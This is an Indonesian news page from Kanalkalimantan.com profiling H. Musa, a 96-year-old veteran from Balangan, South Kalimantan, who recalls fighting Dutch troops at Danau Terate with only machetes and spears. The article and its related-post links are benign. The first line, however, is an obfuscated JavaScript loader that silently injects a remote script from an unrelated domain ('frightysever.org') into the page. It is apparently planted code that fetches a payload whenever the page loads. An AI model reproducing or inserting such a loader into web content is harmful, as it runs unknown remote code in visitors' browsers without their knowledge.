(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kakek Musa Veteran dari Desa Timbun Tulang, Cuma Pakai Parang dan Tombak Hadapi Pasukan Belanda di Danau Terate Amuntai


KANALKALIMANTAN.COM, PARINGIN – Peringatan Hari Pahlawan 10 November banyak menyimpan makna dan cerita heroik mendalam. Salah satunya, kisah pejuang kemerdekaan dari Kabupaten Balangan, Provinsi Kalimantan Selatan, yang semasa muda berjuang hidup mati demi sebuah kemerdekaan.

Diceritakan H Musa, salah seorang veteran pejuang asal Desa Timbun Tulang, Kecamatan Batumandi, ketika di Jakarta sudah memproklamasikan kemerdekaan pada tahun 1945, Kalimantan Selatan masih dibawah kendali tentara Belanda, hingga terpaut lima tahun.

Mengetahui kabar dari Jakarta sudah merdeka di tahun 1945, kakek Musa beserta pejuang lainnya berkeinginan untuk meraih kemerdekaan yang sama di wilayah Kalimantan.

Bahkan, selama memperjuangkan kemerdekaan Kalimantan Selatan, ia pernah terlibat dalam dua kali pertempuran sengit melawan tentara Belanda di Banua.

 

Baca juga  : Wabup Tanbu Pimpin Upacara Hari Pahlawan Nasional ke-77

Kakek Musa masih mengenang memori secara pasti dua tempat pertempuran hebat itu, yakni Awang di daerah Hulu Sungai Tengah (HST) dan pertempuran di Danau Tarate, Amuntai, Hulu Sungai Utara (HSU).

“Kami bertempur hanya menggunakan parang dan tombak, sementara tentara Belanda menggunakan senapang (Senjata mesin, red). Kata para ulama saat itu, jika kalian berjuang melawan Belanda maka kalian adalah pejuang fisabilillah dan apabila gugur, berarti mati syahid. Mendengar itu tentunya kami sangat bersemangat,” ucap kakek Musa ditemui di kediamannya, Kamis (10/10/2022) siang.

Kakek Musa sempat menangis menceritakan pedihnya perjuangan kala itu, mengingat para rekannya banyak yang gugur dalam pertempuran itu.

“Sampai di sungai di Danau Terate airnya tidak bisa diminum bahkan oleh hadangan (Kerbau, red), sungainya berbau amis karena darah,” tambah lelaki yang kini berusia 96 tahun itu.

Baca juga  : Bappedalitbang Banjar Gelar Konsultasi Publik Dokumen RI Pengembangan dan Pemberdayaan Masyarakat

Sebenarnya, ujar kakek Musa, dirinya juga sempat beberapa kali hampir mati karena ditembak tentara Belanda, namun berkat perlindungan Allah SWT ia selamat dan punya umur panjang.

Pertama dia bercerita ketika ia baru saja pulang dari suatu tempat, kemudian melihat tentara Belanda dan dikejar, kemudian ia terpaksa harus bersembunyi di dalam sebuah pohon rumbia yang berlubang, saat itu hampir saja ia ditemukan, namun tentara itu tidak melihat dirinya.

Kemudian kejadian kedua, saat itu ia dan rekannya berada di bawah pohon sedang berjaga. Lalu pohon tersebut ditembaki oleh tentara Belanda, dahan-dahannya pun jatuh dan menimpa dirinya sehingga ia tidak terlihat.

Kemudian saat para tentara Belanda ingin pulang menuju pangkalan atau tangsi markas mereka, apabila tentara Belanda melihat manusia langsung ditembak dan dibunuh. Namun, syukur saat itu ia dapat bersembunyi di plafon sebuah langgar dan tidak ditemukan oleh tentara Belanda itu.

Baca juga  : Gokil dan Berhasil! Anak SMP Kanaan Banjarmasin Berhasil Bikin Krim Anti Jerawat dari Eceng Gondok

“Seandainya saat itu saya ditemukan oleh Belanda, mungkin saya sudah mati. Alhamdulillah, Allah selalu memberikan pertolongan, masih bisa sehat sampai saat ini, walaupun sudah kurang mendengar karena faktor usia,” ujarnya.

Ada beberapa tugas yang sempat diemban oleh kakek Musa kala perjuangan merebut kemerdekaan itu, pertama sebagai tata usaha, merekrut anggota tentara baru, membagikan petisi penolakan terhadap penjajah Belanda untuk tidak mendukung dan membantu Belanda.

“Ketika itu, saya mendatangi rumah-rumah warga, memberikan sebuah tanda sebagai penolakan terhadap Belanda, tandanya hanya dimasukkan ke dalam buluh (bambu, red), lalu disembunyikan. Namun banyak yang tidak berani bergabung karena takut, ketahuan oleh Belanda,” ujar veteran itu.

Pangkat terakhirnya masih Pratu dan bertugas di Batalyon Batumandi Hulu Sungai Utara atau masuk dalam pertahanan Tentara Republik Indonesia (TRI) wilayah Kalimantan Selatan.

Kakek Musa berpesan kepada kaum muda agar mencintai dan memaknai kemerdekaan ini karena untuk mencapai kemerdekaan itu sangatlah sulit bahkan nyawa menjadi taruhannya bersyukurlah dengan apa yang dinikmati saat ini.
(Kanalkalimantan.com/alfi)

Reporter : alfi
Editor : bie


Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

8 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

8 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

9 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

9 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

9 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

9 jam ago

This website uses cookies.